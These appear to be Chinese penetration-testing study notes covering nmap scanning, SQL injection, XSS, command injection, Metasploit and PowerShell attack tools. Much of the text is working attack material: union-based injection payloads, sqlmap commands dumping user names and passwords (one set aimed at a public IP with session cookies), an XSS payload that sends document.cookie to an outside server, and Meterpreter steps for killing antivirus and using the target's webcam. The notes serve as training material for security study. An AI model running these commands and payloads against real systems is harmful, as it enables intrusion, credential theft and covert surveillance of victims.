    nmap  -iL  C:\Users\Aerfa\Desktop\targets.txt   #扫描主机列表targets.txt中的所有目标地址
    nmap  192.168.0.100/24  -exclude  192.168.0.105#扫描除某个目标地址之外的所有目标地址
    nmap  192.168.0.100/24  -excludefile  C:\Users\Aerfa\Desktop\targets.txt#扫描除文件中的目标地址之外的目标地址
    nmap  192.168.0.100  -p  21,22,23,80 扫描某一目标地址的21,22,23,80端口
    nmap  --traceroute  192.168.0.105#对目标地址进行路由跟踪
    nmap  -sP  192.168.0.100/24  #扫描目标地址所在C段的在线状况
    nmap  -0  192.168.0.105  #目标地址的操作系统指纹识别
    nmap  -sV  192.168.0.105  #目标地址提供的服务版本检测
    nmap    -sF  -T4  192.168.0.105  #探测防火墙状态

    nmap 192.168.0.100

    nmap 192.168.0.100/24

    nmap -sF -T4 192.168.0.105

    状态

    含义

    open

    开放的,表示应用程序正在监听该端口的连接,外部可以访问

    filtered

    被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问

    closed

    关闭的,表示目标主机未开启该端口

    unfiltered

    未被过滤的,表示Nmap无法确定端口所处状态,需进一步探测

    open/filtered

    开放的或过滤的,Nmap不能识别

    close/filtered

    关闭的或过滤的,Nmap不能识别

    2.nmap进阶

    Nmap的默认脚本存在/xx/nmap/scripts文件夹下

    概念

    Auth:负责处理鉴权证书(绕过鉴权)的脚本。
    Broadcast:在局成同内探查更多服务的开启情况,如DlHCP/DNS/SQLServer。
    Brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP
    Default使用-sC或-A选项扫描时默认的脚本,提供基本的脚木扫描能力。
    Discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等
    Dos:用于进行拒绝服务攻击。
    Exploit利用已知的漏洞入侵系统。
    Extenal:利用第三方的数据库或资源。例如,进行Whois解析。
    Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。
    lntrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
    Malware:探测目标机是否感染了病毒、开启后门等信息。
    Safe:此类与lntrusive相反,属于安全性脚本。
    Version:负责增强服务与版本扫描功能的脚本。
    Vuln:负责检查目标机是否有常见漏洞,如MS08-067。

    用户还可根据需要设置--script=类别进行扫描,常用参数如下所示。

    -sC-script=default:使用默认的脚本进行扫描。
    -script=<Lua scripts>:使用某个脚本进行扫描。
    -script-args=keyl=valuel,key2=value2……:该参数用于传递脚本里的参数,keyl是参数名,该参数对应value1这个值。如有更多的参数,使用逗号连接,
    -script-args-file=filename:使用文件为脚本提供参数。
    一scripl-trace;如果设置该参数,则显示脚本执行过程中发送与接收的数据,
    一script-updatedb:在Nmap的scripts目录里有一个script.db文件, 该文件保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启Nmap并调用了此参数,则Nmap会自行扫描scripts目录中的扩展脚本,进行数据库

    3.实例

    使用--script=auth可以对目标主机或目标主机所在的网段进行应用弱口令扫描检测

    nmap  --script=auth  192.168.0.105  #鉴权扫描
    nmap  --script=brute  192.168.0.105   #暴力破解攻击
    nmap  --script=vuln  192.168.0.105    #扫描常见漏洞
    nmap  --script=realvnc-auth -bypass  192.168.0.105  #应用服务扫描
    nmap  -n  -p  445  --script=broadcast  192.168.0.105  #探测局域网内更多的服务开启的情况
    nmap    -script  external  baidu.com  #利用第三方的数据库或资源查询目标地址的信息

     第四章  web安全剖析

    SQL注入就是指web应用程序对用户输入数据合法没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

    下面以PHP为例

    $query="SELECT * FROM users WHERE id=$_GET['id']"

    由于这里的参数是可控的,且带入数据库查询,所以非法用户可以

    SQL注入分为很多种:如报错注入、盲注、Union注入等

    在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema” 的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA、TABLES和 COLUMNS

    SCHEMATA表存储该用户创建的所有数据库的库名。

    库名的字段名SCHEMA_NAME

    TABLES表存储改用户创建所有数据库的库名和表名

    库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME

    COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,

    库名、表名和字段名的字段名为TABLE、SCHEMA、TABLE_NAME和COLUMN_NAME

    SQL注入漏洞的产生需要满足的两个条件:

    1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。
    2. 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

    4.1SQL注入基础

    1.SQL查询语句

    1.MySQL查询语句 在不知道任何条件时,语句如下所示。

     #不知任何条件
     SELECT  要查询的字段名  FROM库名.表名 
     #知道一条条件时
     SELECT  要查询的字段名  FROM库名.表名
     #知道多个条件时
     SELECT  要查询的字段名  FROM库名.表名  WHERE  已知条件1的字段名=已知条件1的值  AND  已知条件2的字段名=已知条件2的值’ 

    2.limit 的用法

    limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条 记录;n是指取n条记录。例如limit0,l表示从第一条记录开始,取一条记录

    3.需要记住的几个函数

    database( ):当前网站使用的数据库
    version( ):当前MySQL的版本
    user( ):当前MySQL的用户

    4.注释符

    在MySQL中,常见注释符的表达方式:#或--空格或/**/。

    5.内联注释

    内联注释的形式:/*!code*/。内联注释可以用于整个SQL语句中,用来执行我 们的SQL语句

    index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3。

    concat(str1,str2)
    concat_ws(separator,str1,str2...)
    group_concat(str1,str2)

    sqlmap注⼊教程常⽤命令⼤全

    sqlmap.py -u “注⼊地址” --dbs // 列举数据库 sqlmap.py -u “注⼊地址” --current-db // 当前数据库

    sqlmap.py -u “注⼊地址” --users // 列数据库⽤户

    sqlmap.py -u “注⼊地址” --current–user // 当前⽤户

    sqlmap.py -u “注⼊地址” --tables -D “数据库” // 列举数据库的表名

    sqlmap.py -u “注⼊地址” --columns -T “表名” -D “数据库” // 获取表的列名

    sqlmap.py -u “注⼊地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息

    Union注入攻击

    http://192.168.21.129/sql/Less-1/?id=1

    http://192.168.21.129/sql/Less-1/?id=1' and '1'='1

    and 1=1为真,页面返回和id=1是一样的结果

    http://192.168.21.129/sql/Less-1/?id=1' and '1'='2

    and 1=1为假,页面返回和id=1是不一样的结果

    http://192.168.21.129/sql/Less-1/?id=1 order by 3--+

    --+可以注释前面的单引号

    id=1 order by 3和id=1是一样的结果,结合下列两张图片可知,数据为第三列

    2和3可以正常注入

    查看版本信息

    可以通过设置参数id值,让服务器返回union select的结果,把ID的值设置为-1(空),这样数据库中没有id=-1的数据,所以会返回union select的结果

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select version())--+

    使用group_concat()查数据库

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

    使用database()查询数据库

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,database(),3--+

    查数据库

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

    查表

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+

    查列

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+

    查数据

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(concat_ws('~',username,password))from users)--+

    一行行读数据:limit

    http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password)from users

    limit 0,1)--+

    joolma注入测试

    Cookie,指某些网站为了辨别用户身份而储存在用户本地终端的数据。Cookie在Web应用中至关重要,用户的唯一标识session id也是存在cookie中的,利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在一些情况下发出去的情球可能会被拒之门外。这时,我们需要带上cookie才能进行SQL注入检测。

    目标:对joolma进行注入测试(谷歌)

    (此测试可以不添加cookie值)

    用burpsuite进行抓包,打开kali,在终端打开burpsuite

    添加(Add)代理端口

    抓包时Proxy--intercept中的Interception is on代表开启拦截功能

    谷歌上开启代理功能

    谷歌输入网址处输入代理端口

    点击CA Certificate下载证书

    设置--高级--系统--隐私设置和安全性--管理证书--导入下载上的证书

    设置--高级--系统--打开计算机的代理设置--连接--局域网设置--代理服务器

    代理服务器里的地址填写自己kali上开启的代理地址(Proxy--intercept中)

    下方输入相关地址和端口,点击确定

    打开需要测试的网站,对网站进行抓包

    获得cookie值

    观看老师发布的视频,获取joolma的注入URL格式

    http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)

    打开kali,对joolma进行注入

    #查看是否存在注入点
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" 
    #查看joolma数据库
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   --dbs
    #查看joolma数据库中的表
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   -D joomla --tables
    #查看joolma数据库中的列
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   -D joomla -T  "#__users"  --columns
    #查看joolma数据库中的用户名和密码
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"    mysql  -D  joomla  -T  "#__users"   -C  "name,password"  --dump
    #查看joolma数据库中的邮箱
    sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
    --cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"    mysql  -D  joomla  -T  "#__users"   -C  "email"  --dump   
    

    查注入点

    查找数据库

    查找数据库下面的表

    查找数据库下面的列

    查看数据库中的用户和密码

    查看数据库中的邮箱

     SQL简单注入dvwa

    在dvwa靶场进行注入,因为是登录页面,需要获取cookie值(可以通过谷歌或火狐软件进行抓包,推荐使用谷歌)在kali中使用burpsuite进行抓包

    在主机中搭建sqlmap环境,在主机上进行操作,需要cookie值

    开启dvwa靶场,等级调整为low,点击确定

    在SQL Injection 界面的id中输入1,点击Submit,在网址处获取URL

    点击F12(或右击鼠标,点击检查),

    在Applicant中找到cookie属性,记录其中的cookie值

    dvwa需要登录,加上cookie:

    查注入点

    sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch

    sqlmap -u "url" --batch ,--batch是让sqlmap自动选择执行过程中出现的询问请求

    成功:可看到服务器配置信息

    查数据库信息

    sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch --dbs

    查看指定数据库并展示所有表:

    sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security --tables

    查看指定数据库的指定表的所有列:

    sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users --columns

    查询指定列数据:

    sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users -C password --dump

    成功注出数据。

    4.2.XSS基础

    1.xss介绍

    XSS中文名为跨站脚本攻击,跨站脚本,缩写原本为CSS,但为了与层叠样式表缩写区分开来,所以命名为XSS

    当目标网站用户浏览器渲染HTML文档的过程中,出现了非预期的脚本命令并执行时,XSS就发生了。

    攻击对象为用户端

    2.xss漏洞原理

    反射型

    • 一般不会进入服务器
    • 特点:非持久型、参数跨站脚本作用:

    调取用户的cookie或者进行钓鱼

    特点:

    1.主要用于将恶意代码附加到URL地址的参数中

    2.只在用户单击url时触发一次,非持久化

    3.常用来窃取客户端Cookies或进行钓鱼欺骗

    4.常常为通过引诱用户点击一个恶意链接来实施攻击

    存储型

    POST提交数据,生成,读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,

    提交数据之后页面时会读取sql。txt中的内容并显示在网上,实现了存储型XSS攻击模拟

    当输入恶意代码,即会执行

    <script>alert('xss')</script>

    恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码

    • 进入服务器
    • 特点:持久型、更具有危害性

    作用:渗透、挂马、蠕虫病毒、钓鱼

    DOM型

    新型的XSS漏洞,基于dom文档对象模型,可以归属反射型XSS

    可以通过JS脚本来对文档对象进行编辑从而修改页面的元素。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM的数据并在本地执行。基于这个特征,就可以利用js脚本来实现XSS漏洞的利用

    利用XSS弹出恶意警告框

    <script>alert(1)</script>

    网页不断刷新

    <meta http-equiv='refresh' content='0'>

    http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv='refresh'

    Content='0'>

    获得cookie

    <script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

    劫持流量(跳转到你的博客强行吸粉)

    <script>window.location.href="http://www.cl4y.top";</script>

    DOM型注入

    反射型注入

    4.3XSS进阶

    XSS常用的测试语句有

    <script>alert(1)</script>
    <img  src=x  οnerrοr=alert(1)>
    <svg  οnlοad=alert(1)>
    <a  href=javascript:alert(1)>

    常见的XSS的绕过编码有

    JS编码、HTML实体编码和HTML编码

    因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。

    过滤输入的数据,包括“ ’ ” “ ” ”“<”“>”“on*”对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript 编码等

    XSS测试 js编码

    <script>alert(1)</script>

    <script>alert(document.cookie)</script>输出cookie值

    如果攻击者获取到我们的cookie,在登录网站的时候,把cookie替换成我们的cookie,告诉我们进行网站登录,攻击者就可以直接获得我们的用户名和密码

    <script>curl xxx.xxx.xx/alert(document.cookie)</script>访问网站cookie值,curl访问

    存储型xss

    恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码

    4.4XSS攻防

    反射型XSS测试步骤总结:

    1检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的 radio值或选择值

    2.分别确认每个输入变量是否存在xss漏洞,变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

    xss的攻防:

    1.利用<>标记,构造<script>标签可执行javascript的xss代码 xss过滤函数需过滤<><script></script>等字符。

    2.利用html标签属性支持javascript伪协议(支持标签属性的有hreflowsrcbgsound,background, value. action、dynsrc等),执行xss代码。 xss过函数需过滤JavaScript等关键字。

    3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车。空格、tab等键,绕过对javascript的关键字的过滤。

    4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。 xss 过滤函数需过滤&#\等字符

    5.利用事件处理数,触发事件,执行xss代码。例如<imgsrc='#’οnerrοr=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

    6.利用css执行javascript代码

    css代码中利用expression触发xss漏洞。如下所示:<div style="width: expression(alert("xss’));>

    <img src='#" style="xss:expression(alert(/xss/));">

    <style>body (background-imagerexpression(alert("xss"));}</style><div style="list-style-imageourl(javascript:alert(xss'))"> css代码中利用@import触发xss<stytle>

    @import "javascriptalert("XSS")';</stytle>

    css代码中使用@import和link方式导入外部含有xss代码的样式表文件<link rel="stvtlesheet" href="http://www.***com/a.css">

    <stytle type='text/css'>@import url(http://www.*.com/a.css);</style>

    xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

    7利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数

    8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

    4.5CRSF漏洞

    CSRF漏洞的原理

    其实可以这样理解CSRF:攻击者利用目标用户的身份,以目标用户的名义执行 某些非法操作。CSRF能够做的事情包括:以目标用户的名义发送邮件、发消息,盗 取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了 目标用户的财产安全。

    • 目标网站已经登录了网站,能够执行网站的功能
    • 目标用户访问了攻击者构造的URL

    4.6 SSRF漏洞

    SSRF(Server-Side Request Forgery:服务器端请求伪造)

    其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

    导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
    数据流:攻击者----->服务器---->目标地址

     4.7 文件上传

    文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

    编辑木马文件并上传

    eval

    (PHP4,PHP5,PHP7)

    eval -Evaluate a string as PHP code

    Descript

    eval(string  $code):mixed

    Evaluates the given code as PHP

    Caution: the eval() language construct is very dangerous.because it allows execution of arbitrary PHP code .its use thus is discouraged.if you have carefully verified that there is no other option than to use this construct,pay special attention to pass any user provided data into it without properly validating it beforehand

     

    4.7命令执行

    1.介绍

    暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小

    场景1:账户检测
    场景2:指定口令爆破用户名
    场景3:密码爆破
    1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能
    场景4:登录验证码爆破
    1.验证码绕过2.简单验证码识别3.高模糊度验证码识别  
    场景5:短信邮箱验证码爆破
    场景6:短信邮箱验证码爆破
    1.关键参数遍历2.批量注册
    3.一套组合拳(也可关联爬虫)
    场景7:爆破关联
    1.数据重放-短信炸弹2.数据重放-邮箱炸弹
    3.子域名爆破4.子目录,弱文件爆破

    针对暴力破解漏洞的修复,笔者给出以下两点建议

    • 如果用户登录次数超过设置的阀值,则锁定账号。
    • 如果某个IP登录次数超过设置的阀值,则锁定IP

    锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录

    1.介绍命令执行漏洞

    命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“

    下面展示了常用的管道符

    Windows系例支持的管道符

     “|”:直接执行后面的语句。例如:ping127.0.0.1|whoami
     “”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。
     “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。
     “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。 

    Linux系统支持的管道符

    “;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。
     “|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。 
    “Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。
     “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。

    ·shell命令拼接

    &        &A,表示将命令A放入后台运行
    &&       A&&B,表示A命令语句执行成功,然后执行B命令语句 
    |        A|B,表示A命令语句的输出,作为B命令语句的输入执行 
    ||       A||B,表示A命令语句执行失败,然后才执行B命令语句
    ;        适用于Linux服务器,命令按照顺序(从左到右)被执行

     4.8逻辑漏洞

    1.逻辑漏洞介绍

    逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整 。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越 访问又有水平越权和垂直越权两种,如下所示。

    水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可 以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞, 可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。

    垂直越权:就是不同级别之间的用户或不同角色之间用户的越权,比如普 通用户可以执行管理员才能执行的功能。 逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误

    删除账户

    pikachu用户转换为admin用户(admin权限高)

    进入burpsuite抓包工具进行抓包

    把每个包的结构分析一下,删除一个用户抓包,查看抓包数据的id

    send 传入,删除相关数据

    常见的逻辑漏洞

    支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费 或其他费用为负数,导致总金额降低。

    越权访问:通过越权漏洞访问他人信息或者操纵他人账号。

    重置密码:在重置密码时,存在多种逻辑漏洞,比如利用session覆盖重置 密码、短信验证码直接在返回的数据包中等。

    竞争条件:竞争条件常见于多种攻击场景中,比如前面介绍的文件上传漏 洞。

    越权和修复建议

    ·越权访问漏洞产生的主要原因是

    没有对用户的身份做判断 和控制,防护这种漏洞时,可以通过session来控制。 ·例如:在用户登录成功后,讲username或uid写入到 session中,当用户查看个人信息时,从session中取出 username,而不是从GET或POST取username,那么此 时取到的username就是没有被篡改的。

    第5章  Metasploit技术

    Metasploit简介 Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有的系统都支持Metaspolit.本章中的示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。

    在使用Kali操作系统时应注意及时更新源

    apt-get update#只更新软件包的索引源
    apt-get  upgrade#升级系统上安装的所有软件包
    apt-get  dist-upgrate:升级整个Linus系统

    MSF框架有多个模块组成,各个模块及其作用如下

    1.Auxiliaries:辅助模块

    只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试

    2.Exploit:漏洞利用模块

    测试者通过一个系统,一个应用或服务器中的安全漏洞进行的攻击行为

    3.Payload:攻击载荷模块

    在被渗透攻击之后完成攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码

    4.Post:后期渗透模块

    取得目标系统远程控制权后,进行一系列的后渗透攻击动作

    5.Encoders:编码工具模块

    负责免杀,防止被杀毒软件、防火墙、IDS及类似的软件测试出来

    渗透攻击步骤

    使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻 击,大致的步骤如下所示。

    1. 扫描目标机系统,寻找可用漏洞。
    2. 选择并配置一个漏洞利用模块。
    3. 选择并配置一个攻击载荷模块。
    4. 选择一个编码技术,用来绕过杀毒软件的查杀。 ·
    5. 渗透攻击。

    实战MSF

    msfconsole启动MSF

    search  17-010  #首先使用漏洞探测工具探测存在漏洞的机器
    use  0
    set  RHOSTS  192.168.21.130
    show  options
    shell  #获得权限
    #启动监听
    use  exploit/multi/handler   #之后攻击主机上打开word
    set payload  windows/meterpreter/reverse_tcp

    search 17-010

    use 0

    set RHOSTS 192.168.21.130

    show options

    run

    shell

    whoami

    ipconfig

     主机扫描

    扫描和搜集信息是渗透测试中的第一步,其主要目标是尽可能多地发展有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤是主要关注点是目标机器IP地址,可用服务,开放端口等

    use  #漏洞利用模块
    show  options  #查看需要设置的参数
    set  #设置相应参数
    unset  #取消某个参数值的设置
    setg  #设置全局性的参数值
    unsetg  #取消设置全局性的参数值

    1.使用辅助模块进行端口扫描

    利用search命令搜索有哪些可用端口模块

    show options查看需要设置的参数

    2.使用辅助模块进行服务扫描

    模块

    功能

    auxiliary/scanner/portscan

    端口扫描

    auxiliary/scanner/smb/smb version

    SMB系统版本扫描

    auxiliary/scanner/smb/smb enumusers

    SMB枚举

    auxiliary/scanner/smb/smb login

    SMB弱口令扫描

    auxiliary/admin/smb/psexec command

    SMB登录且执行命令

    auxiliary/scanner/ssh/ssh login

    SSH登录测试

    scanner/mssql/mssql ping

    MSSQL主机信息扫描

    admin/mssql/mssql_enum

    MSSQL枚举

    admin/mssql/mssql exec

    MSSQL执行命令

    admin/mssql/mssql_sql

    MSSQL查询

    scanner/mssql/mssql_login

    MSSQL弱口令扫描

    auxiliary/admin/mysqlmysql enum

    MySQL枚举

    auxiliary/admin/mysql/mysql sql

    MSSQL语句执行

    auxiliary/scanner/mysqlmysql login

    MySQD弱口令扫描

    auxiliary/scanner/smtp/smtp version

    SMTP版本扫描

    auxiliary/scanner/smtp/smtp_enum

    SMTP技举

    auxiliary/scanner/snmp/community

    SNMP扫描设备

    auxiliary/scanner/telnet/telnet login

    TELNET 登录

    scanner/vnc/vnc_none auth

    VNC空口令扫描

    4.使用nmap扫描

    获取目标主机的操作系统,输入nmap -O -Pn/-p0 URL命令

    Pn和p0 :不使用ping的方法

     漏洞扫描

    使用nmap扫描查看系统的开放端口和相关的应用程序

    search samba 搜索Samba漏洞利用模块

    设置攻击载荷模块

    #设置被攻击IP地址
    msf  exploit(usermap_script)> set  RHOST 192.168.187.113
    #设置漏洞利用的端口号
    msf  exploit(usersmap_script) set  RHOST  445
    #设置发动攻击主机的IP地址
    msf  explioit(usermap_script)>set LHOST  192.168.187.133
    #输入exploit或run发动攻击
    msf  exploit(usermap_script)>  exploit

     后渗透测试:信息收集

    Meterpreter有以下优势。

    • 纯内存工作模式,不需要对磁盘进行任何写入操作。
    • 使用加密通信协议,而且可以同时与几个信道通信。
    • 在被攻击进程内工作,不需要创建新的进程。
    • 易于在多进程之间迁移
    • 平台通用,适用于Windows、Linux、BSD系统,并支持Intelx86和Intel x64平台

    进程迁移

    ps        获取目标机正在运行的进程
    getpid     查看MeterpreterShell的进程号
    migrate 448      把Shell移动到PID为448的Explorer.exe进程里
    kill 984       “杀掉”该进程。
    (run post/windows/manage/ migrate)       自动迁移进程命令系统会自动寻找合适的进程然后迁移

    2 系统命令

    sysinfo     查看目标机的系统信息
    run post/windows/gather/checkvm     检查目标机是否运行在虚拟机上
    idletime      看到目标机最近的时间
    route        查看目标机完整的网络设置
    background      将当前会话放到后台
    getuid       查看当前目标机器上已经渗透 成功的用户名
    run post/windows/manage/killav命令关闭目标机系统杀毒软件
    run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也 是常说的3389端口
    load  espia  加载espia插件
    screengrab    抓取目标机此时屏幕截图
    screenshot   生成图片保存在root目录下
    -----------------------------------------------------------------------------
    webcam 查看目标机有没有摄像头的命令
    webcam snap命令打开目标机摄像头
    webcam_stream      开启直播模式
    shell         进入目标机Shell下面
    exit  退出回话

    3.文件系统命令

    pwd或getwd查看当前处于目标机哪个目录
    getlwd  查看当前处于本机的哪个目录
    ls  列出当前目录中的所有目录
    cd切换目录
    search  -f  *.tet  -d  C:\搜索C盘中所有以“.txt”为扩展名的文件
    download   C:\text.txt/root   下载目标机c盘的text.txt文件到攻击机root下
    upload/root/text.txt    C:\上传攻击机root目录下的text.txt文件到目标机C盘下

    第六章  powershell技术

    6.1powershell技术

    PowerShell是一种基于任务的命令行解释器和脚本环境

    常用的PowerShell攻击工具:

    PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。

    Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。

    Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。

    PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

    输入get-host或者$PSVersionTable.PSVERSION命令可查看PowerShell版本

    1.PS1文件

    一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

    创建脚本

    桌面上--右击新建--创建记事本--打开记事本,写入想要输出的内容--文件后缀为ps1,保存

    设置此处后,查看文件后缀格式是否为ps1

    第二个脚本为字符串 echo显示信息

    2.执行策略:

    为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

    我们可以使用:

